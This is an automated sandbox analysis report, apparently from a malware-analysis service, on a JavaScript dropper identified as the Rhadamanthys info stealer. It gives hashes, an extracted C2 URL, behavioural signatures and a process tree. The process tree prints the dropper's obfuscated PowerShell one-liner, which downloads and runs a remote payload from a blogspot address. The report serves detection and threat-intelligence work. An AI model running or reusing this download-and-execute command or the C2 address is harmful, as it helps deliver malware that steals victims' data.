Analysis

  • max time kernel
    95s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 02:13

General

  • Target

    0949242082c2b9d1335b4116a3beb48762782560add525b894fa2a9aa136bd98.js

  • Size

    82KB

  • MD5

    03844efc838d98e3a3aa6f935a2ff1db

  • SHA1

    11c08db7fa610ff1a9e2bf7fb5e34015ceceec4f

  • SHA256

    0949242082c2b9d1335b4116a3beb48762782560add525b894fa2a9aa136bd98

  • SHA512

    a34ed6ea22b9f6c1ebbae01d15fec736612039b6ab2d45984ef65a5cf53046be44d5e97dbb160735634c2c18103f0751782db47e5f00ace65d73591d85128928

  • SSDEEP

    768:7AK3GmGyO9RsGGx5osXrmsGaO95b9iyCfxAO111y21NHvlZupREEpRfr5onZWRUX:GZeGX2unjA06

Malware Config

Extracted

Family

rhadamanthys

C2

https://185.196.8.68:9367/ab43097ee4f6e091aed46f79/88pw46v5.ki88g

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2988
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1284
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:4304
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\0949242082c2b9d1335b4116a3beb48762782560add525b894fa2a9aa136bd98.js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;& ('{1}{0}' -f 'ex', 'I') $(irm https://11-14hotelmain.blogspot.com///////chutmarao.pdf);Start-Sleep -Seconds 3;
        2⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4512
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2056
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1740
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 916
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:2320
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3524
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 916
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:3476
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2096
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 780
            4⤵
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:3500
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3928
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 780
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:3252

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

      Filesize

      315B

      MD5

      69acc92e6df5c35cf75eded8f61ddeaa

      SHA1

      b405090a2f92f85490705dcf77a6461ad85e7e20

      SHA256

      da3437f337aca0e1f8d7b187abcd9112d88beddde8ab8ae5aa8a8ab91b6e9698

      SHA512

      9b83a6ef14372d9e229beb69c1b1ede6f348fb51925205f99f705808db6331c5aab32bd57fc786c61647cbb94f7e4bd236dc9f4fc26be4c1ffc7a35e7619a508

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g5okkm5j.lga.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1284-74-0x0000000002AC0000-0x0000000002EC0000-memory.dmp

      Filesize

      4.0MB

    • memory/1284-67-0x0000000000EF0000-0x0000000000EF9000-memory.dmp

      Filesize

      36KB

    • memory/1740-24-0x0000000000420000-0x00000000004D8000-memory.dmp

      Filesize

      736KB

    • memory/2056-66-0x0000000076850000-0x0000000076A65000-memory.dmp

      Filesize

      2.1MB

    • memory/2056-61-0x00007FFD4F370000-0x00007FFD4F565000-memory.dmp

      Filesize

      2.0MB

    • memory/2056-60-0x0000000007830000-0x0000000007C30000-memory.dmp

      Filesize

      4.0MB

    • memory/2056-57-0x0000000005240000-0x0000000005250000-memory.dmp

      Filesize

      64KB

    • memory/2544-17-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2544-19-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2544-20-0x000001B35BB20000-0x000001B35BB32000-memory.dmp

      Filesize

      72KB

    • memory/2544-21-0x000001B35BB50000-0x000001B35BB6A000-memory.dmp

      Filesize

      104KB

    • memory/2544-80-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2544-18-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2544-1-0x000001B35C0E0000-0x000001B35C102000-memory.dmp

      Filesize

      136KB

    • memory/2544-13-0x000001B375190000-0x000001B375352000-memory.dmp

      Filesize

      1.8MB

    • memory/2544-11-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2544-14-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/2544-0-0x00007FFD31403000-0x00007FFD31405000-memory.dmp

      Filesize

      8KB

    • memory/2544-16-0x00007FFD31403000-0x00007FFD31405000-memory.dmp

      Filesize

      8KB

    • memory/2544-12-0x00007FFD31400000-0x00007FFD31EC1000-memory.dmp

      Filesize

      10.8MB

    • memory/4304-73-0x0000000002740000-0x0000000002B40000-memory.dmp

      Filesize

      4.0MB

    • memory/4304-77-0x0000000076850000-0x0000000076A65000-memory.dmp

      Filesize

      2.1MB

    • memory/4304-75-0x00007FFD4F370000-0x00007FFD4F565000-memory.dmp

      Filesize

      2.0MB

    • memory/4512-31-0x0000000004F80000-0x0000000005026000-memory.dmp

      Filesize

      664KB

    • memory/4512-65-0x0000000076850000-0x0000000076A65000-memory.dmp

      Filesize

      2.1MB

    • memory/4512-62-0x00007FFD4F370000-0x00007FFD4F565000-memory.dmp

      Filesize

      2.0MB

    • memory/4512-55-0x00000000076A0000-0x00000000076B0000-memory.dmp

      Filesize

      64KB

    • memory/4512-59-0x0000000007860000-0x0000000007C60000-memory.dmp

      Filesize

      4.0MB

    • memory/4512-56-0x0000000007860000-0x0000000007C60000-memory.dmp

      Filesize

      4.0MB

    • memory/4512-54-0x0000000007690000-0x0000000007698000-memory.dmp

      Filesize

      32KB

    • memory/4512-28-0x0000000006300000-0x0000000006392000-memory.dmp

      Filesize

      584KB

    • memory/4512-22-0x0000000000400000-0x00000000004B8000-memory.dmp

      Filesize

      736KB